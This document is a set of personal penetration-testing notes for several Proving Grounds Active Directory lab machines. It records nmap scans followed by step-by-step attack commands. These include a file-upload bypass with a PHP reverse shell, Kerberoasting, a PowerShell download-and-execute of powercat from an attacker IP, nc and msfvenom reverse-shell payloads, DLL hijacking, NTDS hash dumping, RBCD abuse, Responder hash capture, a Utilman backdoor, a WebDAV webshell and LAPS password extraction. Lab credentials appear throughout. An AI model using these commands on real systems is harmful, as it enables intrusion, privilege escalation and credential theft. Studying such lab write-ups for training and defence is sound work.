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Active Directory

Access

AD

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.173.13 --open

NMAP Results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-20
14:34:14Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec
0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
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593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec
0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49788/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Started with the Nmap Enumeration adn we got to see some ports like 445 and 80 port's
are open !!

Let's see the port :80

And we can observe that access.offsec is the DNS name let's add it to the /etc/hosts
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when you access the website at port 80 then you can see the by tickets endpoint where we
need to upload a file !!

we tried to upload the php file and some bypasses but failed :
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Extenstion not allowed !!

Now see the wappalyzer and it is using apache !!
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The best bypass we need to do is to make a .htaccess file and create our own extention and
upload it !!

Reference: https://www.youtube.com/watch?v=xZd1JWmLGLk

steps to do this :

create a .htaccess file

# echo "AddType application/x-httpd-php .kullai" > .htaccess

Now build a reveres shell php file and change the name to shell.php → shell.kullai

Now upload this shell.kullai and after this upload the .htaccess file !! and see the magic in 

https://www.youtube.com/watch?v=xZd1JWmLGLk
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/uploads directory !!

in the shell.php file enter our kali IP and port details !!

# mv shell.php shell.kullai

# echo "AddType application/x-httpd-php .kullai" > .htaccess

we have both files now upload one by one !!

when I uploaded the shell.kullai then we got response like:
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Now again upload the .htaccess file both are got uploaded !!

→ now make use of the diresearch and get the uploads directory !!

# dirsearch -u  http://access.offsec/ -w /usr/share/wordlists/dirb/common.txt

→ Got the uploads directory !!

you can see the shell.kullai there Now listen on 4444 using netcat in our kali and click on the
shell.kullai !!

http://access.offsec/
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You can make use of  https://www.revshells.com/ to build the reverse shell with PHP Ivan
Sincek script this only works and also 
you can use any othe windows php reverse shell payloads !!

you can see we got the initial shell !!

use svc_apache !!

we have trasffered the PowerView.ps1 and enumerated ..

SPN & Kerbroasting:

you can see the svc_mssql hash we can retrive !!

Kerbroasting:

import the Invoke-Kerberoast.ps1 to the target system !!

PS C:\Users\svc_apache\Desktop\tools> Invoke-Kerberoast -OutputFormat Hashcat |
Select-Object Hash | Out-File -filepath 'C:
\Users\svc_apache\Desktop\tools\HashCapture.txt' -Width 8000

https://www.revshells.com/
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you can see the HashCapture.txt 

read that file you can get the hash of svc_mssql user !!

crack this hash using hashcat !!

# hashcat -m 13100 sql.hashes /usr/share/wordlists/rockyou.txt --force
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now we have the password of svc_mssql : trustno1

let's check for the crackmapexec whether this is local admin user??

# crackmapexec smb 192.168.232.0/24 -u svc_mssql -p trustno1 -d access.offsec
--continue-on-success

Enumerated the shares also nothing intresting !!

# crackmapexec smb 192.168.232.187 -u svc_mssql -p trustno1 -d access.offsec
--shares

there is no pw3nd!! not a local administrator !!
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Now we need to access that user account :

commands:

we need to utilize the Invokerunas and in the command we need to provide the one liner
reverse shell using powercat !!

import the Invoke-RunasCs.ps1 from our kali machine !!

and run the following command and listen at 5555

target:

PS> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command
"Powershell IEX(New-Object System.Net.WebClient).DownloadString('http://
192.168.45.193/powercat.ps1');powercat -c 192.168.45.193 -p 5555 -e cmd"

or :

PS C:\xampp\htdocs\uploads> Invoke-RunasCs svc_mssql trustno1 'c:/xampp/
htdocs/uploads/nc.exe 192.168.118.23 4444 -e cmd.exe'

# rlwrap nc -nlvp 5555

you can see we got the access to the svc_mssql user !! also got the local.txt flag ..

http://192.168.45.193/powercat.ps1&#39;);powercat
http://192.168.45.193/powercat.ps1&#39;);powercat
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now after multiple enumeration come to know that there is an exploit for the  SeManageVol
umeAbuse

Resource :https://github.com/xct/SeManageVolumeAbuse

If some times it is patched then you can take a look on : https://github.com/CsEnox/
SeManageVolumeExploit

share the file SeManageVolumeExploit.exe to the target machine and execute it !!

This exploit grants full permission on C:\ drive for all users on the machine.

-   Enables the privilege in the token
-   Creates handle to \.\C: with SYNCHRONIZE | FILE_TRAVERSE
-   Sends the FSCTL_SD_GLOBAL_CHANGE to replace S-1-5-32-544 with S-1-5-32-545

==

https://github.com/xct/SeManageVolumeAbuse
https://github.com/xct/SeManageVolumeAbuse
https://github.com/xct/SeManageVolumeAbuse
https://github.com/CsEnox/SeManageVolumeExploit
https://github.com/CsEnox/SeManageVolumeExploit
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Now navigate to C:\Windows\System32\wbem now we have treplace the .dll file !!

# msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.193
LPORT=6666 -f dll -o tzres.dll

Now trasfer this to the svc_mssql user account !! listen at 6666 in kali using netcat !!

just execuet the command systeminfo in the svc_mssql host you will get the reverse shell
as DC administrator !!

and got the proof.txt :)
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Another Method PrivEsc:

https://github.com/CsEnox/SeManageVolumeExploit → read this !!

PS C:\xampp\htdocs\uploads> .\SeManageVolumeExploit.exe

# msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.176
LPORT=6666 -f dll -o Printconfig.dll

We need to replace the file : C:
\Windows\System32\spool\drivers\x64\3\Printconfig.dll

PS C:\xampp\htdocs\uploads> Copy-Item -Path "C:
\xampp\htdocs\uploads\Printconfig.dll" -Destination "C:
\Windows\System32\spool\drivers\x64\3\Printconfig.dll" -Force

and Listen on 6666

# rlwrap -cAr nc -lvnp 6666

Enter the following commands :

PS C:\xampp\htdocs\uploads> $type =
[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")

PS C:\xampp\htdocs\uploads> $object = [Activator]::CreateInstance($type)

https://github.com/CsEnox/SeManageVolumeExploit
file://C:/Windows/System32/spool/drivers/x64/3/Printconfig.dll
file://C:/Windows/System32/spool/drivers/x64/3/Printconfig.dll
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you can see we got the adminsitrator access !!

Resourced

Brief:

OS: AD Windows

IP:

Users:

Credetials:

V.Ventz : HotelCalifornia194!
=======================================================
========================

Ports (Try to list):

=======================================================
========================

Machines Related :
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=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.173.13 --open

NMAP Results:

PORT   STATE SERVICE VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-26
09:29:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
resourced.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
resourced.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=ResourceDC.resourced.local
| Not valid before: 2024-03-21T10:42:07
|_Not valid after:  2024-09-20T10:42:07
|_ssl-date: 2024-04-26T09:30:51+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: resourced
|   NetBIOS_Domain_Name: resourced
|   NetBIOS_Computer_Name: RESOURCEDC
|   DNS_Domain_Name: resourced.local
|   DNS_Computer_Name: ResourceDC.resourced.local
|   DNS_Tree_Name: resourced.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-04-26T09:30:12+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

=======================================================
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========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ After seeing all the Nmap and all the results firstly went with the enum4linux :

command:

# enum4linux -a 192.168.246.175

you can see all the valid usernames here Now make a file called users

you can see the password has been exposed !!!

V.Ventz : HotelCalifornia194!

and Let's use the kerbrute and find the valid Users !!

# ./kerbrute_linux_amd64 userenum --dc 192.168.246.175 -d resourced.local ~/
Resourced/users
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you can see we got all the users as valid !!

Let's try with the smbclient !!

# smbclient -L //192.168.246.175/ -U resourced.local/
V.Ventz%HotelCalifornia194!

you can see the intresting share Password Audit let's get into it !!

you can make use of Impacket-smbclient

# impacket-smbclient V.Ventz:'HotelCalifornia194!'@192.168.246.175
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download all the files !! those files are used to create the adtive directory !!!

see the registry also get all the files also with get command

# impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
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you can see we have all hashes of all users now we have to use the crackmapexec and
bruteforce !!!

save the hashes in a file and usernames in another file !!

# crackmapexec winrm 192.168.246.175 -u users -H hashes -d resourced.local

you can see we got the pwnd !! 

using evil-winrm I was able to access L.Livingstone user account !!

# evil-winrm -i 192.168.246.175 -u L.Livingstone -H
'19a3a7550ce8c505c2d46b5e39d6f808'

you can see we got one flag :)
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Now we have to move and enumerate further !!

Upload the Sharphound to the target system !!

*Evil-WinRM* PS C:\Users\L.Livingstone> upload /home/kali/offsec/pg/AD/
Resourced/SharpHound.exe SharpHound.exe

*Evil-WinRM* PS C:\Users\L.Livingstone> .\SharpHound.exe -c all,gpolocalgroup

run the bloodhound in the kali and upload the zip file !!
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run the neo4j and bloodhound  and upload the zip file !!

you need to select our User as Owned go to OUTBOUND Object Control and click on Transitive
Object Control !!

you can see L.LivingStine hash Generic all Permissions on Domain-Controller !!

Method to do this :

upload StandIn.exe to the target machine and add a new compter

*Evil-WinRM* PS C:\Users\L.Livingstone> .\StandIn.exe --computer hacker --make



23/58

you can see it has given the password !!

hacker : l9z3JiITmvqcwdq

see youtube for last steps:

https://www.youtube.com/watch?v=xMTCZt5DRB0

You can also add computer with other command also !!

# impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.161.175 -
hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'hacker$' -
computer-pass 'l9z3JiITmvqcwdq'

*Evil-WinRM* PS C:\Users\L.Livingstone\temp> get-adcomputer attack

With this account added, we now need a python script to help us manage the delegation
rights. Let's grab a copy of rbcd.py and use it to set msDS-
AllowedToActOnBehalfOfOtherIdentity on our new machine account.

# python3 rbcd.py -dc-ip 192.168.161.175 -t RESOURCEDC -f 'hacker' -hashes :
19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone

https://www.youtube.com/watch?v=xMTCZt5DRB0
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*Evil-WinRM* PS C:\Users\L.Livingstone\temp> Get-adcomputer resourcedc -properties
msds-allowedtoactonbehalfofotheridentity |select -expand msds-
allowedtoactonbehalfofotheridentity

We now need to get the administrator service ticket. We can do this by using impacket-getST
with our privileged machine account.

# impacket-getST -spn cifs/resourcedc.resourced.local resourced/hacker\
$:'l9z3JiITmvqcwdq' -impersonate Administrator -dc-ip 192.168.161.175

the ticket is saved as Administrator@cifs_resourcedc.resourced.local@RESOURCED.L
OCAL.ccache

# export KRB5CCNAME=./
Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache

# impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.161.175
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got proof.txt

Kyoto

Brief:

OS:



26/58

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.190.30 --open

NMAP Results:
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-27
02:33:38Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
Kyotosoft.com0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  mountd        1-3 (RPC #100005)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
Kyotosoft.com0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
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| rdp-ntlm-info: 
|   Target_Name: KYOTOSOFT
|   NetBIOS_Domain_Name: KYOTOSOFT
|   NetBIOS_Computer_Name: KYOTO
|   DNS_Domain_Name: Kyotosoft.com
|   DNS_Computer_Name: kyoto.Kyotosoft.com
|   DNS_Tree_Name: Kyotosoft.com
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-27T02:34:35+00:00
| ssl-cert: Subject: commonName=kyoto.Kyotosoft.com
| Not valid before: 2024-03-22T04:46:52
|_Not valid after:  2024-09-21T04:46:52
|_ssl-date: 2024-04-27T02:35:14+00:00; +1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
55708/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
55709/tcp open  msrpc         Microsoft Windows RPC
55724/tcp open  msrpc         Microsoft Windows RPC
55731/tcp open  msrpc         Microsoft Windows RPC
55736/tcp open  msrpc         Microsoft Windows RPC
55753/tcp open  msrpc         Microsoft Windows RPC

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:
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Started with the SMB enumeration  as a null session !!

# smbclient -L //192.168.246.31/

don't enter any password hit enter !!

you can see there is a dev share let's access that !!

# smbclient //192.168.246.31/dev 

get all the files !!
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get the ftp.exe also let's do some OSINT !!

# strings ftp.exe

you can see the credentials are leaked !!

admin : SafariDozeDust17
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Heist

AD

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.173.165 --open

NMAP Results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-16
15:27:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0.,
Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0.,
Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-06-16T15:28:46+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2024-03-22T06:03:39
|_Not valid after:  2024-09-21T06:03:39
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| rdp-ntlm-info: 
|   Target_Name: HEIST
|   NetBIOS_Domain_Name: HEIST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: heist.offsec
|   DNS_Computer_Name: DC01.heist.offsec
|   DNS_Tree_Name: heist.offsec
|   Product_Version: 10.0.17763
|_  System_Time: 2024-06-16T15:28:07+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-title: Super Secure Web Browser
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ There is a Web site running on port 8080 
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where we need to enter the URL !!

→ First thing come to my mind is Swich On the SMBShare or Responder and put our kali
IP and get the NTLM hash !!

#  sudo responder -I tun0

And Just enter our IP as a URL !!

click on search and see the Responder !!
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You can see Now we ahve Net-V2-NTLM hash !!

# hashcat enox.hash /usr/share/wordlists/rockyou.txt --force

enox : california

Let's try to spray on different services and ports open in the heist.offsec

# crackmapexec smb 192.168.173.165 -u enox -p california -d heist.offsec

# crackmapexec winrm 192.168.173.165 -u enox -p california -d heist.offsec
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you can see we ahve both winrm and smb access for easy upload and download we gonna
access enox user from winrm !!

# evil-winrm -i dc01.heist.offsec -u enox -p california

We also got local.txt !!

And also Intrestingly the `enox` is member of `Web Admins`
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And Now Let's upload the sharphound and get all the details of this AD network breifly !!

*Evil-WinRM* PS C:\Users\enox\temp> Import-Module .\Sharphound.ps1

*Evil-WinRM* PS C:\Users\enox\temp> Invoke-BloodHound -CollectionMethod All -
OutputDirectory C:\Users\enox\temp\ -OutputPrefix "corp_audit"
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Now get that .zip file and open in the bloodhound !!

*Evil-WinRM* PS C:\Users\enox\temp> download
corp_audit_20240616090006_BloodHound.zip

I have seen one intresting thing !!

The Web Admins can see the GMSA password of svc_apache$ user !!

We know that enox user is a member of Web Admins

So we can get the svc_apache$ user hash !!
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Exploit Binary Path : https://github.com/expl0itabl3/Toolies/blob/master/
GMSAPasswordReader.exe

/home/kali/offsec/AD/tools/Tools/GMSAPasswordReader.exe

Reference: https://swisskyrepo.github.io/InternalAllTheThings/active-directory/
pwd-read-gmsa/#gmsa-attributes-in-the-active-directory

*Evil-WinRM* PS C:\Users\enox\temp> .\gmsapasswordreader.exe --accountname
svc_apache

you can see the current password hash !!

We have the hash of the svc_apache user !! let's try to access via winrm

# evil-winrm -i dc01.heist.offsec -u svc_apache$ -H
023145FC00CE8BAB62704EB63AB7BDAB

https://github.com/expl0itabl3/Toolies/blob/master/GMSAPasswordReader.exe
https://github.com/expl0itabl3/Toolies/blob/master/GMSAPasswordReader.exe
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-read-gmsa/#gmsa-attributes-in-the-active-directory
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/pwd-read-gmsa/#gmsa-attributes-in-the-active-directory
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PrivEsc:

You can see SeRestorePrivilege

Reference: https://swisskyrepo.github.io/InternalAllTheThings/redteam/
escalation/windows-privilege-escalation/#eop-impersonation-privileges

Now we need to rename the C:\Windows\System32\Utilman.exe  binary to →  Utilma
n.old

Now again rename the C:\Windows\System32\cmd.exe to →  Utilman.exe
 
and Now open the RDP session and enter windows + U and you will get adminstrator shell !!

# rdesktop DC01.heist.offsec

 

https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop-impersonation-privileges
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop-impersonation-privileges
file://C:/Windows/System32
file://C:/Windows/System32
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 you can see we got the proof.txt

Hutch

AD

Brief:

OS:
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IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

80 → Webdav is open .
3268 → ldapsearch anonymous try .

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.173.165 --open

NMAP Results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL
LOCK UNLOCK PUT
|_http-title: IIS Windows Server
| http-webdav-scan: 
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT,
DELETE, COPY, MOVE, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/10.0
|   WebDAV type: Unknown
|   Server Date: Tue, 18 Jun 2024 09:31:59 GMT
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE,
PROPPATCH, MKCOL, LOCK, UNLOCK
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-18
09:31:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0.,
Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
hutch.offsec0., Site: Default-First-Site-Name)
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3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Started with the Webapp fuzzing but not get anything intresting and tried with smb and all
I ahve failed in those !!
→ I have seen there is webdav is open !!

# cadaver $ip
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cadaver is a tool where this is used to authenticate to the webdav !!

We don't have any usernames and password !!

→ There is LDAP open so tried ldapsearch !!

# ldapsearch -x -H ldap://192.168.225.122 -D '' -w '' -b "DC=hutch,DC=offsec"

or 

# ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://192.168.225.122"
"(objectclass=*)"

you can see the user leaked his password in his discription.

fmcsorley : CrabSharkJellyfish192

Now let's try to authenticate to Webdav
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you can see this is a webservice !!

Now let's try to upload the webshell and get the reverse shell..

dav:/> put /usr/share/webshells/aspx/cmdasp.aspx

http://hutch.offsec/cmdasp.aspx 

Using the powershell reverse shell command and got the shell !!

you can see the user is iis appool >> this is indeed vulnerable to godpotato
SeImpersonate !!

http://hutch.offsec/cmdasp.aspx
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PrivEsc: [Method - 1] :

Se-Impersonate with GodPotato.exe : 

PS C:\temp> .\GodPotato.exe -cmd "cmd /c whoami"

PS C:\temp> .\GodPotato.exe -cmd “powershell -nop -w hidden -e <base64-
encode>”
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got the shell as Administrator !!
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PrivEsc [Method-2]:

Run Winpeas !!

you can see the LAPS are present !!

As a User we can see the cleartext password of Administrator !!

Retriving with the user of netexec tool [Alternate of crackmapexec]:

# netexec ldap 192.168.225.122 -u fmcsorley -p CrabSharkJellyfish192 --kdcHost
HUTCHDC -M laps
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--kdcHost → you can see the nmap scan .

 

 
Yeah Got the Adminsitrator Password !!

Another tool: https://github.com/swisskyrepo/SharpLAPS

PS C:\temp> .\SharpLAPS.exe /user:hutch.offsec\fmcsorley /
pass:CrabSharkJellyfish192 /host:192.168.225.122

you can also make use of pyLAPS.py tool 

Another method command using ldapsearch :

# ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b
"DC=hutch,DC=offsec" -h 192.168.225.122 "(ms-MCS-AdmPwd=*)" ms-MCS-
AdmPwd

https://github.com/swisskyrepo/SharpLAPS
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```
administrator : 8PE00+.uM3A&.5

```

The winrm is open let's try to authenticate via evil-winrm

# evil-winrm -i 192.168.225.122 -u administrator -p '8PE00+.uM3A&.5'

We got the flag !!

Nara [Fuckit]

AD

Brief:

OS:

IP:

Users:

Credetials:
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=======================================================
========================

Ports (Try to list):

80 → Webdav is open .
3268 → ldapsearch anonymous try .

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.200.30 --open

NMAP Results:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-19
08:40:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nara-
security.com0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after:  2024-07-29T14:09:26
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: nara-
security.com0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after:  2024-07-29T14:09:26
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nara-
security.com0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after:  2024-07-29T14:09:26
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: nara-
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security.com0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after:  2024-07-29T14:09:26
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Not valid before: 2024-05-06T12:45:53
|_Not valid after:  2024-11-05T12:45:53
| rdp-ntlm-info: 
|   Target_Name: NARASEC
|   NetBIOS_Domain_Name: NARASEC
|   NetBIOS_Computer_Name: NARA
|   DNS_Domain_Name: nara-security.com
|   DNS_Computer_Name: Nara.nara-security.com
|   DNS_Tree_Name: nara-security.com
|   Product_Version: 10.0.20348
|_  System_Time: 2024-06-19T08:41:24+00:00
|_ssl-date: 2024-06-19T08:42:03+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
